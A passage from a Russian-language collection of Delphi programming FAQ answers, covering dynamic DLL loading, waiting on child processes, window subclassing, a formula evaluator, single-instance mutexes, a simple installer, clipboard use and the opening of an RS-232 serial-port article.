Программа печати отчетов. Она должна печатать в любой кодировке на любой принтере, в т.ч. и экзотическом типа АЦПУ. Заранее
неизвестно, какие принтеры будуп применяться совместно с ней и как ими управлять (известно только одно - драйверов под них нет
и не будет) - переделывать программу под каждый принтер - неинтересно ...

Итак, все это можно реализовать в DLL, однако обычное ее подключение приведет к тому, что при запуске программа будет искать
все подключенне к ней DLL и в случае отсутствия хотя-бы одной откажется запускаться. Это не приемлемо, но к счастю есть
возможность и весьма удоюный набор сервисных функций для динамической загрузки, использования и выгрузки DLL.

Пример (приложение имеет одно окно, на нем кнопка):

Unit
 Unit1;
Interface
Uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  StdCtrls;type  TForm1 = class(TForm)    Button1: TButton;
    procedure Button1Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
  private
  public
  end;
 // Тип "процедура". Естественно, можно определит типы
// "функция" или "функция с параметрами" ...
TDllProc = procedure;
var  Form1: TForm1;
  DllProcPtr  : TdllProc;
  LibInstance : HMODULE;
 // Логический номер модуля DLL
implementation

{$R *.DFM}

procedure TForm1.Button1Click(Sender: TObject);
begin
 // Проверим, загружена ли DLL
 if LibInstance=0 then
 Begin
  // Не загружена, попробуем загрузить
  LibInstance := LoadLibrary('plug_in.dll');
  // Проверим, успешна ли загрузка (LibInstance=0 - неуспешно)
  If LibInstance=0 then
 Begin
   ShowMessage('Ошибка загрузки библиотеки plug_in.dll');
   exit;
  end;
  // Ищем функцию по ее имени (имя должно точно совпадать)
  DllProcPtr := TDllProc(GetProcAddress(LibInstance,'MyProc'));
  // Проверим, нашли ли (если нашли, то Assigned вернет true)
  if not Assigned(DllProcPtr) then
 Begin
   // Не нашли - выгружаем DLL из памяти
   FreeLibrary(LibInstance);
   LibInstance:=0;
   ShowMessage('Ошибка: функция MyProc не найдена');
   exit;
  end;
  // Непосредственно вызов функции
  DllProcPtr;
  // Выгрузка библиотеки
  FreeLibrary(LibInstance);
  LibInstance:=0;
 end;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
 DllProcPtr:=nil;
 LibInstance:=0;
end;

end.

Естественно, в реальной задаче имеет смысл создать свой класс, который при инициализации будет  загружать библиотеку, а при
уничтожении - выгружать. Кроме того, он должен меть функцию типа "Перезагрузить библиотеку", которая будет выгружать
текущую и загружать новую. DLL - обычная, естественно может иметь неограниченное количество процедур и функций.

Особенности:

Пока библиотека загружена, ее файл нельзя ни удалить, ни переименовать. Поэтому при возникновении ошибок следует выгружать
библиотеку, иначе пользователь не сможет ее заменит (без перезагрузки ПК).

Обычно имеет смысл создать ряд функции типа GetInfo, GetAutor, GetCopyRight ..., чтобы вызывающая программа могла получить
информацию о назначении данной DLL

Расширение DLL не является обязательным, поэтому можно применять свои расширения (например DRV)

=== 2  ===

Каким образом организовать ожидание завершения DOS-задачи? Например, надо подождать, пока заархивируется файл, и далее
обработать его.
uses
...,windows,...

procedure RunRarAndWait;
var
si: TStartupInfo;
pi: TProcessInformation;
begin
//подготовливаем записи si и pi к использованию
FillChar(si, SizeOf(si));
si.cb := SizeOf(si);
FillChar(pi, SizeOf(pi));
//попытаемся запустить рар
if CreateProcess('rar.exe', 'parameters',
nil, nil, //безопасность по умолчанию
false, //не наследовать хэндлов
0, //флаги создания по умолчанию
nil, //переменные среды по умолчанию
nil, //текущая директория по умолчанию
si, //стартовая информация
pi) //а в эту запись получим информацию о созданом процессе
then
begin //удалось запустить рар
//подождем пока рар работает
WaitForSingleObject(pi.hProcess, INFINITE);
//убираем мусор
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
end else
//выдаем сообщение об ощибке
MessageDlg(SysErrorMessage(GetLastError), mtError, [mbOK], 0);
end;

=== 3 ===

function WinExecute(CmdLine: string; Wait: Boolean): Boolean;
var
StartupInfo: TStartupInfo;
ProcessInformation: TProcessInformation;
begin
Result := True;
try
FillChar(StartupInfo, SizeOf(StartupInfo), 0);
StartupInfo.cb := SizeOf(StartupInfo);
if not CreateProcess(nil, PChar(CmdLine), nil, nil, True, 0, nil,
nil,
StartupInfo, ProcessInformation) then RaiseLastWin32Error;
if Wait then WaitForSingleObject(ProcessInformation.hProcess,
INFINITE);
except
Result := False;
end;
end;

=== 4 ===

function TForm1.StartWithShell(Prog, par, Verz: string; var hProcess :
THandle) : DWord;
var
exInfo: TShellExecuteInfo;
begin
hProcess := 0;
FillChar( exInfo, Sizeof(exInfo), 0 );
with exInfo do begin
cbSize:= Sizeof( exInfo );
fMask := SEE_MASK_NOCLOSEPROCESS or SEE_MASK_FLAG_DDEWAIT;
Wnd := 0;
lpVerb:= 'open';
lpParameters := PChar(par);
lpFile:= Pchar(prog);
nShow := SW_HIDE;
end;
Result := ERROR_SUCCESS;
if ShellExecuteEx(@exInfo) then
hProcess := exinfo.hProcess
else
Result := GetLastError;
end;

function TForm1.StartProgramm : Boolean;
var
r, ExitCode : DWord;
err : string;
hProcess : THandle;
begin
Result := False;
r := StartWithShell('rar.exe', , 'c:\windows\system',
hProcess);
if r = ERROR_SUCCESS then begin
repeat
Application.ProcessMessages;
GetExitCodeProcess(hProcess, ExitCode);
until (ExitCode <> STILL_ACTIVE);
result := true;
end else begin
case r of
ERROR_FILE_NOT_FOUND : err:='The specified file was not
found.';
ERROR_PATH_NOT_FOUND : err:='The specified path was not
found.';
ERROR_DDE_FAIL : err:='The DDE transaction failed.';
ERROR_NO_ASSOCIATION : err:='There is no application associated
with the given filename extension.';
ERROR_ACCESS_DENIED : err:='Access denied';
ERROR_DLL_NOT_FOUND : err:='DLL not found';
ERROR_CANCELLED : err:='The function prompted the user for the
location of the application, but the user cancelled the request.';
ERROR_NOT_ENOUGH_MEMORY: err:='Not enough memory';
ERROR_SHARING_VIOLATION: err:='A sharing violation occurred.';
else err:='Unknown';
end;
MessageDlg('Error: ' + err, mtError, [mbOk], 0);
end;
end;
К заголовку




Как опеделить состояние списка ComboBox, выпал/скрыт?
ComboBox сообщение CB_GETDROPPEDSTATE.
Пример:
 if SendMessage(ComboBox1.Handle, CB_GETDROPPEDSTATE,0,0) = 1 then
 begin
{список ComboBox выпал}
end;
К заголовку




Как передать процедуру/фунцию другой процедуре/функции?
type
  AFunctionType = function(IntIn : integer) : integer;

function AddProc(IntIn : integer) : integer;
begin
  Result := IntIn + 1;
end;

function SubProc(IntIn : integer) : integer;
begin
  Result := IntIn - 2;
end;

procedure PassAFunction(var IntIn : integer;
                       fn : AFunctionType);
begin
  IntIn := fn(IntIn);
end;

procedure TForm1.Button1Click(Sender: TObject);
var
  i : integer;
begin
  i := 10;
  PassAFunction(i, @AddProc);
  ShowMessage(IntToStr(i));
  PassAFunction(i, @SubProc);
  ShowMessage(IntToStr(i));
end;
К заголовку




Как передать через командную строку параметр, содержащий пробелы?
Так как пробел служит разделителем для функции ParamStr(),
Вам необходимо собрать все переданные параметры в единую строку либо получить всю
строку параметров из переменной CmdLine.
Пример:
procedure TForm1.Button1Click(Sender: TObject);
var
  s : string;
begin
 s := StrPas(CmdLine);
{$IFDEF WIN32}
 Delete(s, 1, Pos('" ', s) + 1);
{$ENDIF}
 ShowMessage(s);
end;
К заголовку




Как переназначать события программным путем?
procedure TForm1.Button1Click(Sender: TObject);
var
  Button2SavedEvent : TNotifyEvent;
  Button3SavedEvent : TNotifyEvent;
begin
 {Назначаем события}
  Button2SavedEvent := Button2.OnClick;
  Button3SavedEvent := Button3.OnClick;

 {Очищаем событие  OnClick кнопки 2}
  Button2.OnClick := nil;

 {Назначаем событие OnClick кнопки 2 кнопке 3}
  Button3.OnClick := Button2SavedEvent;

  { Делаем что-нибудь }

 {Возвращаем события в исходное положение}
  Button2.OnClick := Button2SavedEvent;
  Button3.OnClick := Button3SavedEvent;
end;
К заголовку




Как перехватить сообщения прокрутки в TScrollBox?
Следующий пример перехватывает сообщения о прокрутке компонента TScrollBox и синхронизирует обе линейки прокрутки.
Сообщения прокрутки перехватываются с помощью переопределения окнной процедуры (WinProc) ScrollBox'а.

type {$IFDEF WIN32} WParameter = LongInt;
{$ELSE} WParameter = Word;
{$ENDIF} LParameter = LongInt;
{Declare a variable to hold the window procedure we are replacing}
var OldWindowProc : Pointer;
function NewWindowProc(WindowHandle : hWnd; TheMessage : WParameter; ParamW : WParameter; ParamL : LParameter) : LongInt
{$IFDEF WIN32} stdcall;
{$ELSE} ; export;
{$ENDIF}
var TheRangeMin : integer;
TheRangeMax : integer;
TheRange : integer;
begin
if TheMessage = WM_VSCROLL then
begin
{Get the min and max range of the horizontal scroll box}
GetScrollRange(WindowHandle, SB_HORZ, TheRangeMin, TheRangeMax);
{Get the vertical scroll box position}
TheRange := GetScrollPos(WindowHandle, SB_VERT);
{Make sure we wont exceed the range}
if TheRange < TheRangeMin then TheRange := TheRangeMin
else
if TheRange > TheRangeMax then TheRange := TheRangeMax;
{Set the horizontal scroll bar}
SetScrollPos(WindowHandle, SB_HORZ, TheRange, true);
end;
if TheMessage = WM_HSCROLL then
begin
{Get the min and max range of the horizontal scroll box}
GetScrollRange(WindowHandle, SB_VERT, heRangeMin, TheRangeMax);
{Get the horizontal scroll box position}
TheRange := GetScrollPos(WindowHandle, SB_HORZ);
{Make sure we wont exceed the range}
if TheRange < TheRangeMin then TheRange := TheRangeMin
else
if TheRange > TheRangeMax then TheRange := TheRangeMax;
{Set the vertical scroll bar}
SetScrollPos(WindowHandle, SB_VERT, TheRange, true);
end;
{Call the old Window procedure to allow processing of the message.}
NewWindowProc := CallWindowProc(OldWindowProc, WindowHandle, TheMessage, ParamW, ParamL);
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
{Set the new window procedure for the control and remember the old window procedure.}
OldWindowProc := Pointer(SetWindowLong(ScrollBox1.Handle, GWL_WNDPROC, LongInt(@NewWindowProc)));
end;

procedure TForm1.FormDestroy(Sender: TObject);
begin
{Set the window procedure back to the old window procedure.}
SetWindowLong(ScrollBox1.Handle, GWL_WNDPROC, LongInt(OldWindowProc));
end;
К заголовку




Как подсчитать строку с формулой
В Delphi нет функции, которая бы позволяла посчитать строку с формулой. Но есть множество способов реализовать это самому.
Здесь я привел самый простой из них. Он не очень быстрый, но при нынешних скоростях компьютеров для многих целей он
подойдет.
Принцип его заключается в следующем. Сначала строка оптимизируется – выкидываются все пробелы, точки и запятые меняются на
установленный разделяющий знак (DecimalSeparator). Все числа и параметры (например, x), содержащиеся в строке "обособляются"
символом #. В дальнейшем это позволяет избежать путаницы с экспонентой, минусами и. т. д. Следующий шаг – замена, если нужно,
всех параметров на их значения. И, наконец, последний шаг, подсчет получившейся строки. Для этого программа ищет все операции
с самым высоким приоритетом (это скобки). Считает их значение, вызывая саму себя (рекурсивная функция), и заменяет скобки и их
содержимое на их значение, обособленное #. Дальше она выполняет то же самое для операции с более низким приоритетом и так до
сложения с вычитанием.
Каждый шаг выделен в отдельную процедуру. Это позволяет быстрее считать функцию, если она не меняется, а меняются только
значения параметров.
Вот модуль с этими методами.
unit Recognition;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, Math;
type
TVar = set of char;
procedure Preparation(var s: String; variables: TVar);
function ChangeVar(s: String; c: char; value: extended): String;
function Recogn(st: String; var Num: extended): boolean;
implementation
procedure Preparation(var s: String; variables: TVar);
const
operators: set of char = ['+','-','*', '/', '^'];
var
i: integer;
figures: set of char;
begin
figures := ['0','1','2','3','4','5','6','7','8','9', DecimalSeparator] + variables;
// " "
repeat
i := pos(' ', s);
if i <= 0 then break;
delete(s, i, 1);
until 1 = 0;
s := LowerCase(s);
// ".", ","
if DecimalSeparator = '.' then begin
i := pos(',', s);
while i > 0 do begin
s[i] := '.';
i := pos(',', s);
end;
end else begin
i := pos('.', s);
while i > 0 do begin
s[i] := ',';
i := pos('.', s);
end;
end;
// Pi
repeat
i := pos('pi', s);
if i <= 0 then break;
delete(s, i, 2);
insert(FloatToStr(Pi), s, i);
until 1 = 0;
// ":"
repeat
i := pos(':', s);
if i <= 0 then break;
s[i] := '/';
until 1 = 0;
// |...|
repeat
i := pos('|', s);
if i <= 0 then break;
s[i] := 'a';
insert('bs(', s, i + 1);
i := i + 3;
repeat i := i + 1 until (i > Length(s)) or (s[i] = '|');
if s[i] = '|' then s[i] := ')';
until 1 = 0;
// #...#
i := 1;
repeat
if s[i] in figures then begin
insert('#', s, i);
i := i + 2;
while (s[i] in figures) do i := i + 1;
insert('#', s, i);
i := i + 1;
end;
i := i + 1;
until i > Length(s);
end;
function ChangeVar(s: String; c: char; value: extended): String;
var
p: integer;
begin
result := s;
repeat
p := pos(c, result);
if p <= 0 then break;
delete(result, p, 1);
insert(FloatToStr(value), result, p);
until 1 = 0;
end;
function Recogn(st: String; var Num: extended): boolean;
const
pogr = 1E-5;
var
p, p1: integer;
i, j: integer;
v1, v2: extended;
func: (fNone, fSin, fCos, fTg, fCtg, fArcsin, fArccos, fArctg, fArcctg, fAbs, fLn, fLg, fExp);
Sign: integer;
s: String;
s1: String;
function FindLeftValue(p: integer; var Margin: integer; var Value: extended): boolean;
var
i: integer;
begin
i := p - 1;
repeat i := i - 1 until (i <= 0) or (s[i] = '#');
Margin := i;
try
Value := StrToFloat(copy(s, i + 1, p - i - 2));
result := true;
except
result := false
end;
delete(s, i, p - i);
end;
function FindRightValue(p: integer; var Value: extended): boolean;
var
i: integer;
begin
i := p + 1;
repeat i := i + 1 until (i > Length(s)) or (s[i] = '#');
i := i - 1;
s1 := copy(s, p + 2, i - p - 1);
result := TextToFloat(PChar(s1), value, fvExtended);
delete(s, p + 1, i - p + 1);
end;
procedure PutValue(p: integer; NewValue: extended);
begin
insert('#' + FloatToStr(v1) + '#', s, p);
end;
begin
Result := false;
s := st;
// ()
p := pos('(', s);
while p > 0 do begin
i := p;
j := 1;
repeat
i := i + 1;
if s[i] = '(' then j := j + 1;
if s[i] = ')' then j := j - 1;
until (i > Length(s)) or (j <= 0);
if i > Length(s) then s := s + ')';
if Recogn(copy(s, p + 1, i - p - 1), v1) = false then Exit;
delete(s, p, i - p + 1);
PutValue(p, v1);
p := pos('(', s);
end;
// sin, cos, tg, ctg, arcsin, arccos, arctg, arcctg, abs, ln, lg, log, exp
repeat
func := fNone;
p1 := pos('sin', s);
if p1 > 0 then begin
func := fSin;
p := p1;
end;
p1 := pos('cos', s);
if p1 > 0 then begin
func := fCos;
p := p1;
end;
p1 := pos('tg', s);
if p1 > 0 then begin
func := fTg;
p := p1;
end;
p1 := pos('ctg', s);
if p1 > 0 then begin
func := fCtg;
p := p1;
end;
p1 := pos('arcsin', s);
if p1 > 0 then begin
func := fArcsin;
p := p1;
end;
p1 := pos('arccos', s);
if p1 > 0 then begin
func := fArccos;
p := p1;
end;
p1 := pos('arctg', s);
if p1 > 0 then begin
func := fArctg;
p := p1;
end;
p1 := pos('arcctg', s);
if p1 > 0 then begin
func := fArcctg;
p := p1;
end;
p1 := pos('abs', s);
if p1 > 0 then begin
func := fAbs;
p := p1;
end;
p1 := pos('ln', s);
if p1 > 0 then begin
func := fLn;
p := p1;
end;
p1 := pos('lg', s);
if p1 > 0 then begin
func := fLg;
p := p1;
end;
p1 := pos('exp', s);
if p1 > 0 then begin
func := fExp;
p := p1;
end;
if func = fNone then break;
case func of
fSin, fCos, fCtg, fAbs, fExp: i := p + 2;
fArctg: i := p + 4;
fArcsin, fArccos, fArcctg: i := p + 5;
else i := p + 1;
end;
if FindRightValue(i, v1) = false then Exit;
delete(s, p, i - p + 1);
case func of
fSin: v1 := sin(v1);
fCos: v1 := cos(v1);
fTg: begin
if abs(cos(v1)) < pogr then Exit;
v1 := sin(v1) / cos(v1);
end;
fCtg: begin
if abs(sin(v1)) < pogr then Exit;
v1 := cos(v1) / sin(v1);
end;
fArcsin: begin
if Abs(v1) > 1 then Exit;
v1 := arcsin(v1);
end;
fArccos: begin
if abs(v1) > 1 then Exit;
v1 := arccos(v1);
end;
fArctg: v1 := arctan(v1);
//      fArcctg: v1 := arcctan(v1);
fAbs: v1 := abs(v1);
fLn: begin
if v1 < pogr then Exit;
v1 := Ln(v1);
end;
fLg: begin
if v1 < 0 then Exit;
v1 := Log10(v1);
end;
fExp: v1 := exp(v1);
end;
PutValue(p, v1);
until func = fNone;
// power
p := pos('^', s);
while p > 0 do begin
if FindRightValue(p, v2) = false then Exit;
if FindLeftValue(p, i, v1) = false then Exit;
if (v1 < 0) and (abs(Frac(v2)) > pogr) then Exit;
if (abs(v1) < pogr) and (v2 < 0) then Exit;
delete(s, i, 1);
v1 := Power(v1, v2);
PutValue(i, v1);
p := pos('^', s);
end;
// *, /
p := pos('*', s);
p1 := pos('/', s);
if (p1 > 0) and ((p1 < p) or (p <= 0)) then p := p1;
while p > 0 do begin
if FindRightValue(p, v2) = false then Exit;
if FindLeftValue(p, i, v1) = false then Exit;
if s[i] = '*'
then v1 := v1 * v2
else begin
if abs(v2) < pogr then Exit;
v1 := v1 / v2;
end;
delete(s, i, 1);
PutValue(i, v1);
p := pos('*', s);
p1 := pos('/', s);
if (p1 > 0) and ((p1 < p) or (p <= 0)) then p := p1;
end;
// +, -
Num := 0;
repeat
Sign := 1;
while (Length(s) > 0) and (s[1] <> '#') do begin
if s[1] = '-' then Sign := -Sign
else if s[1] <> '+' then Exit;
delete(s, 1, 1);
end;
if FindRightValue(0, v1) = false then Exit;
if Sign < 0
then Num := Num - v1
else Num := Num + v1;
until Length(s) <= 0;
Result := true;
end;
end.
А это пример использования этого модуля. Он рисует график функции, введенной в Edit1. Константы left и right определяют края
графика, а YScale – масштаб по Y.
uses Recognition;
procedure TForm1.Button1Click(Sender: TObject);
const
left = -10;
right = 10;
YScale = 50;
var
i: integer;
Num: extended;
s: String;
XScale: single;
col: TColor;
begin
s := Edit1.Text;
preparation(s, ['x']);
XScale := PaintBox1.Width / (right - left);
randomize;
col := RGB(random(100), random(100), random(100));
for i := round(left * XScale) to round(right * XScale) do
if recogn(ChangeVar(s, 'x', i / XScale), Num) then
PaintBox1.Canvas.Pixels[round(i - left * XScale),
round(PaintBox1.Height / 2 - Num * YScale)] := col;
end;
К заголовку




Как показать всплывающую подсказку для компонента?
procedure TForm1.ShowAHint(x : integer;
                           y : integer;
                           Caption : string;
                           Duration : LongInt);
var
  dc : hdc;
  OldFont : hFont;
  pt : TSize;
  p : pChar;
begin
  if Timer1.Enabled <> false then
    Timer1.Enabled := false;
  Timer1.Enabled := false;
  if Panel1.Visible <> false then
    Panel1.Visible := false;
  if Caption = '' then exit;
  Panel1.Caption := caption;
 {Получаем ширину заголовка}
  GetMem(p, Length(Panel1.Caption) + 1);
  StrPCopy(p, Panel1.Caption);
  dc := GetDc(Panel1.Handle);
  OldFont := SelectObject(dc, Panel1.Font.Handle);
  GetTextExtentPoint32(dc, p, Length(Panel1.Caption), pt);
  SelectObject(dc, OldFont);
  ReleaseDc(Panel1.Handle, Dc);
  FreeMem(p, Length(Panel1.Caption) + 1);
 {Устанавливам и отображаем панель}
  Panel1.Left := x;
  Panel1.Top := y;
  Panel1.Width := pt.cx + 6;
  Panel1.Height := pt.cy + 2;
  Panel1.Visible := true;
 {Включаем таймер, чтобы скрыть панель}
  Timer1.Interval := Duration;
  Timer1.Enabled := true;
end;

procedure TForm1.Timer1Timer(Sender: TObject);
begin
  if Panel1.Visible <> false then
    Panel1.Visible := false;
  Timer1.Enabled := false;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
  {Позволим перерисовку кнопки}
  Application.ProcessMessages;
  ShowAHint(Button1.Left,
            Button1.Top + Button1.Height + 6,
            Button1.Hint,
            2000);
end;
К заголовку




Как правильно в Win32 отслеживать запуск второй копии программы?
FindWindow является неполным решением (если меняется заголовок окна или
если есть другая программа с таким же заголовком или типом окна).
Вторично: медленно.

Лениво пользовать семафоры, покажу на именованных мутексах (семафоры с двумя
состояниями).

Unit OneInstance32;

interface

implementation

uses
Forms;

var
g_hAppMutex: THandle;

function OneInstance: boolean;
var
g_hAppCritSecMutex: THandle;
dw: Longint;
begin
g_hAppCritSecMutex := CreateMutex( nil, true, PChar(Application.Title +
'.OneInstance32.CriticalSection') );

// if GetLastError - лениво писать

g_hAppMutex := CreateMutex( nil, false, PChar(Application.Title +
'OneInstance32.Default') );

dw := WaitForSingleObject( g_hAppMutex, 0 );

Result :=  (dw <> WAIT_TIMEOUT);

ReleaseMutex( g_hAppCritSecMutex ); // необязательно вследствие последующего
закрытия
CloseHandle( g_hAppCritSecMutex );

end;

initialization

g_hAppMutex := 0;

finalization

if LongBool( g_hAppMutex ) then
begin
ReleaseMutex( g_hAppMutex); // необязательно
CloseHandle( g_hAppMutex );
end;

end.
К заголовку




Как работать с очень большими числами?
Как работать с очень большими числами ?
К заголовку




Как сделать окошко подсказки в редакторе как дельфи по CTRL-J?
Допустим у тебя TMemo..
1. Делаешь ListBox, заполняешь, visible := false, parent := Memo
2. У Memo в обработчике Memo.onKeyDown что-нибудь типа:

 if ((key = Ord('J'))and(ssCtrl in Shift)) then begin     lb.Left := Memo.CaretPos.x;
 lb.Top := Memo.CaretPos.y + lb.height;     lb.Visible :=
True;     lb.SetFocus; end;

он показывается.. а дальше работай с листбоксом, вставляй в мемо нужный текст, пряч листбокс
К заголовку




Как создать собственный Setup?
program Setup;

uses
  Windows,
  SysUtils;

const
  ReRunParameter = '/install_from_temp_directory';

var
  TempPath: array [0..MAX_PATH] of Char;
  SrcPath: String;

begin
  if ParamStr(1) = ReRunParameter then
    SrcPath := ParamStr(2)
  else
    if GetDriveType(PChar(ParamStr(0)[1] + ':\')) = DRIVE_REMOVABLE then
    begin
      // Если программа была запущена без ключа и с дискеты, то
      // копируем её во временный каталог и перезапускам
      // Текущее приложение завершаем.
      GetTempPath(MAX_PATH, TempPath);
      // Добавлям к пути временного каталога символ '\', если его там нет
      if (StrLen(TempPath) > 0) and (TempPath[StrLen(TempPath)] <> '\') then
        StrCat(TempPath, '\');
      // Копируем файл через вызов функции CopyFile из WinAPI
      CopyFile(PChar(ParamStr(0)), PChar(String(TempPath) + ExtractFileName(ParamStr(0))), False);
      // Запускаем файл с двумя параметрами
      WinExec(PChar(String(TempPath) + ExtractFileName(ParamStr(0)) + ' ' +
        ReRunParameter + ' ' + ExtractFilePath(ParamStr(0))), CmdShow);
      Exit;
    end
    else
      SrcPath := ExtractFilePath(ParamStr(0));
  // Здесь начинается программа инсталляции
  // Переменная SrcPath показывает нам, откуда надо копировать файлы
end.
--------------------------------------------------

Сжатие cmpress.exe или cabarc.exe от Microsoft
hInFile := LZOpenFile(PChar(SourcePath), ofInReOpenBuff, OF_READ);
  hOutFile := LZOpenFile(PChar(TargetPath), ofOutReOpenBuff, OF_CREATE or OF_WRITE);
  iLZError := LZCopy(hInFile, hOutFile);
  if iLZError > 0 then
    // Операция выполнилась успешно, скопировано iLZError байт
  else
    // Ошибка номер iLZError
  LZClose(hOutFile);
  LZClose(hInFile);
--------------------------------------------------

Ниже приводится исходный текст процедуры, которая составляет список файлов в каталоге и всех вложенных подкаталогах
procedure ReadTree(Path: String; Strings: TStrings);
  procedure ReadFolder(Path: String; Strings: TStrings);
  var
    SearchRec: TSearchRec;
    FindResult: Integer;
  begin
    FindResult := FindFirst(Path + '*.*', faAnyFile, SearchRec);
    while FindResult = 0 do
    begin
      // Если найден подкаталог, рекурсивно читаем его содержимое
      // Не забываем игнорировать подкаталоги '.' и '..'
      with SearchRec do
        if (Name <> '.') and (Name <> '..') then
        begin
          Strings.Add(Path + Name);
          if (Attr and faDirectory <> 0) then
            ReadFolder(Path + Name + '\', Strings);
        end;
      FindResult := FindNext(SearchRec);
    end;
    FindClose(SearchRec);
  end;
begin
  // Эта процедура заносит в Strings список файлов во всех вложенных папках
  // каталога Path и сами эти папки
  Strings.Clear;
  if (Length(Path) > 0) and (Path[Length(Path)] <> '\') then
    Path := Path + '\';
  ReadFolder(Path, Strings);
end;

К заголовку




Как создать функцию возведения в степень?
function Power(x, y : extended) : extended;
begin
 result := exp(y*ln(x));
end;
В данном пример 3 возводится в степень 2:
procedure TForm1.Button1Click(Sender: TObject);
begin
 ShowMessage(FloatToStr(Power(3, 2)));
end;
К заголовку




Как, используя WinAPI, скопировать содержимое строки в буфер обмена?
procedure CopyStringToClipboard(s: string);
var hg: THandle;
    P: PChar;
begin
  hg:=GlobalAlloc(GMEM_DDESHARE or GMEM_MOVEABLE, Length(S)+1);
  P:=GlobalLock(hg);
  StrPCopy(P, s);
  GlobalUnlock(hg);
  OpenClipboard(Application.Handle);
  SetClipboardData(CF_TEXT, hg);
  CloseClipboard;
  GlobalFree(hg);
end;
К заголовку




Получение содержимого выделения
Мне нужно получить содержимое выделения из какого либо текстового редактора. т.е. я выделяю текст, а моя прога должна уже его
знать (без копирования в буфер обмена).
Как этого можно добиться?


--------------------------------------------------------------------------------
1.  Если это стандартный элемент редактирования Windows, то можно послать в него
  EM_GETSEL - узнаешь позиции первого и последнего выделенного символа. Потом
  с помощью EM_GETLINE вытащишь выделенный текст.
2.  Если это RichEdit, то для него есть EM_GETSELTEXT.
3.  Если это неизвестный заранее текстовый редактор, то все зависит от его реализации
  и общего решения наверно нет.
К заголовку




Последовательный порт RS-232
Автоматизация различных систем с помощью компьютера меня интересовала всегда. Но когда я начал заниматься этой задачей, то
столкнулся с множеством проблем. Одна из главных проблем это литература, в которой в доступной для меня форме был бы освещен
данный вопрос. Но литературы по данной теме очень мало, особенно в нашем небольшом городке. Взять, например книгу в магазине
за 300 руб. в которой уделяется искомому вопросу 2-3 страницы  неинтересно, а покупать 2-3 книги дорого. Вы скажете "Сходи в
библиотеку и нет проблем", о библиотеке я тоже думал. Но и там проблема с книгами стоит остро. Денег на новые книги у них нет,
так как книги по компьютерной тематике в основном печатаются в коммерческих типографиях и поэтому стоят дорого. А тот мизер
который выделяет государство на покупку книг настолько мал что его хватает только на содержание старых наиболее читаемых
произведений. И тогда я решил поискать в интернете. И он меня не разочаровал. В первый же час поиска я нашел много интересного.
В основном это статьи людей занимающиеся аналогичным вопросом . Они делятся своим опытом с начинающими и в примерах
показывают, как реализовать ту или иную задачу.
Данная статья была задумана для объединения в себя всю ту информацию, которую я почерпнул в ходе своего изыскания в
интернете.


История стандарта RS-232.
В 1969 г. Группой ведущих промышленных корпораций США был введен стандарт на соединение оборудования. Ассоциация
электронной промышленности США (EIA) опубликовала вариант С своего рекомендуемого стандарта (Recommended Standart - RS)
номер 232. Этот стандарт был озаглавлен "Интерфейс между оконечным оборудованием обработки данных и оконечным
оборудованием линии с использованием последовательного обмена данными в двоичной форме" и известен просто как стандарт
RS-232C. МККТТ ввел свой собственный вариант этого стандарта в виде стандартов V.24 и V.28.
Министерство обороны США выпустило практически идентичный стандарт Mil-Std-188C.

Хотя стандарт RS-232C был весьма популярен, определяемый им физический интерфейс долек от совершенства. Система передачи
данных (передатчик, приемник, соединительные кобеля), реализованная в соответствии с техническими условиями стандарта
RS-232C, должна гарантированно обеспечивать передачу сигнала со скоростями, не превышающими всего лишь 20 Кбит/с .
Ассоциация электронной промышленности США ввела рекомендуемые стандарты для систем, работающих при больших скоростях,
но стандарт RS-232C продолжает оставаться основной реализации последовательного интерфейса для IBM-совместимых
персональных компьютеров.

Модификация D этого стандарта была введена в 1987 г. В ней были определены некоторые дополнительные линии тестирования, а
также закреплено то, что многие рассматривали как недостаток стандарта RS-232C.
Самой последней (июль 1991 г.) модификацией стандарта RS-232 является стандарт EIA/TIA-232E. В модификации Е нет никаких
технических изменений, которые могли бы привести к проблемам  совместимости с оборудованием, согласованным с предыдущими
вариантами этого стандарта..

Проблема.
Под MS-DOS приложение управляет всем компьютером. Это развязывало программисту руки. Достижение максимальной скорости
работы осуществлялось непосредственным доступом к аппаратным средствам.
Под Windows 3.x эта свобода отчасти была ограничена. К примеру вы уже не имели полный доступ к экрану. Проблема объясняется
легко: с тех пор, как пользователь мог запускать любое количество приложений, не было никакой гарантии, что приложения не
получали одновременно те же самые аппаратные средства.
Другая проблема - вы уже должны были считаться с параллельно запущенными задачами, а не требовать у компьютера в свое
распоряжение все ресурсы. Win 3.x осуществляет кооперацию параллельных задач, означая, что каждое приложение должно исходить
из концепции совместного существования и не монополизировать ресурсы, а пользоваться услугами специализированного
диспетчера. Захват CPU на длительное время здесь не приветствуется.
Но тем не менее монополизированный доступ к аппаратным средствам также возможен, но вся ответственность за работу других
приложений ложится на программиста. Получается борьба вашего приложения с системой: если вы захватываете все рабочее время
CPU, контроль над портами или работу с памятью, то система милостиво ждет, пока вы не отдадите бразды правления в ее руки, при
этом другие приложения (если они не успели это сделать до вас) могут ругаться, выплевывать на экран грязные ругательства и пугать
не в чем не повинного пользователя.
Факт, но тенденция отбивания рук от прямого доступа к железу победила на платформе Win32 (Windows NT и Windows 95). Это
операционные системы с истинной многозадачностью. Каждый поток (выполняемый модуль) получает определенный квант
процессорного времени. Когда лимит процессорного времени исчерпан, или появляется поток с более высоким приоритетом,
система прекращает обслуживать первый поток, даже в случае, если он не завершен. Это переключение между потоками может
произойти между двумя ассемблерными инструкциями, нет никакой гарантии, что поток сможет завершить определенное количество
инструкций, прежде чем у него отнимут процессорное время, к тому же неизвестно как долго ждать следующей порции
процессорного времени. Это приводит к проблеме с прямым доступом к аппаратным средствам. Например, типичное чтение из
порта формируется из нескольких ассемблерных инструкций:

  mov dx, AddressPort  mov al, Address  out dx, al  jmp Wait  Wait:
mov dx, DataPort  in al, dx Состояние всех регистров при переключении потоков сохраняется, состояние I/O портов
(последовательные порты, порты ввода/вывода) - нет. Так, велика вероятность что другие приложения производят другие операции с
I/O портом, в то время как вы "застряли" между инструкциями 'out' и 'in'.
Документированный путь.
Для решения этой проблемы мы должны как-то сообщить всем другим приложениям, что "К настоящему времени MyProg использует
